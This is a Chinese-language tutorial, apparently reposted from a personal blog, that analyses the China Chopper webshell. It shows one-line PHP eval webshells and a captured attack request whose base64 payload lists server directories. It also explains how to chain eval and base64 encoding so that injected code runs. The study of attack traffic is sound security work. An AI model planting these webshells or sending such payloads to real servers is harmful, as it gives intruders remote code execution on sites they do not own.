php菜刀分析學習


這里以eval為例

我們知道, php中的eval能把字符串當代碼執行:

eval('phpcode');

 

注意, 這里的代碼要有分號結尾, 我們測試:

我們創建一個最簡單的SHELL:

<?php eval($_POST['a']);

在post數據位置發送:

a=phpinfo()

 

 

可以看到phpinfo()並沒有執行。

原來原因是要加 ; 號結速一個語句, 像php語法一樣, 語句后面要加 ; 號。

 

這里還有一個問題就是, 輸入的  a=phpinfo();  不需要用單或雙引號括起來:

 

 

 

 

再回到eval, 我們加多層eval看看:

 

<?php eval(eval(eval($_POST[a])));

看到效果是一樣的:

 

 

 

 

 

 

我們創建一個簡單WEBSHELL, 打開抓包工具抓菜刀包, 抓到的發送包是這樣的:

POST /2.php HTTP/1.1 Cache-Control: no-cache X-Forwarded-For: 226.60.187.9 Referer: http://localhost
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: localhost Content-Length: 738 Connection: Close a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHBocFN0dWR5XFxXV1dcXA%3D%3D

 

 

單純地看上面的POST包, 在沒有base64解密前提下, 可以明顯的看到 菜刀會另外創造一個post數據(上圖中的是z0)發送回來給a。

我們可以得知, 菜刀發送的包, 有點像這樣:

<?php eval($_POST[a]); #post: #$_POST[a] = 另一個post數據 #$_POST[a] = $_POST[b] #傳入的$_POST[a]=$_POST[b]=b的內容

 

 

也就是說, 我們發送包時, 可以這樣構造一下:

a=$_POST[b]&b=phpinfo

這樣就相當於是:

a=phpinfo

記得我們上面說過, 要加 ; 號, 不用加單雙引號:

a=$_POST[b];&b=phpinfo()

 這一個數據, 就相當於:

a=phpinfo(); #$_POST[b]替換成了: phpinfo()

 

 

我們測試一下效果:

 

 

可以看到, 並沒有執行 phpinfo() 函數。

為什么呢?

用一個小例子來說明為什么:

echo 'post[a]:'.$_POST[a]."<br />"; echo 'post[b]:'.$_POST[b];

發送數據后如下所示:

 

 

可以看到, a 的值是 $_POST[b]; ,   但是這個 $_POST[b];  只是一個單純字符串而已, 而這個字符串並未被當成php代碼解釋。

相當於我們創建了一個這樣的代碼:

 

<?php
'$_POST[b]';

 

 

這樣的參數肯定會出錯, 也相當於你創建了一個這樣的代碼:

eval('abcdefg');

eval要求是php代碼形式的字符串, 所以, 下面這樣就是合法的:

eval('echo "abcdefg";');

最后我們可以構造這樣的代碼:

eval('eval("$_POST[b]");')

 

 

這樣phpinfo函數就能正常運行了。

 

 

 

 

把eval加進代碼里:

 

 

有一點要注意的就是 $_POST[b]中的PHP代碼參數要加 ; 號, 因為 $_POST[a] 里的eval要用到, 而 $_POST[a]里的php代碼也要加 ; 號, 因為源碼里的eval也要用到。

 

在 $_POST[a]的位置我們也可以用base64編碼數據, 這樣 $_POST[b]的數據就可以很好的正常發送了:

 

 

總之, a中的post數據中的eval目的是把他的值 $_POST[b] 解釋。

 

我們其實可以在發送數據位置單單用一個a=post數據就行了。

<?php
eval($_post[a]);

 在接收后我們可以用自已相要的方式加解密(如果你數據有加密的話):

<?php eval(base64_decode($_POST[a]));
#post
#a=cGhwaW5mbygpOw==

那個java的C刀就是這樣的做法。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM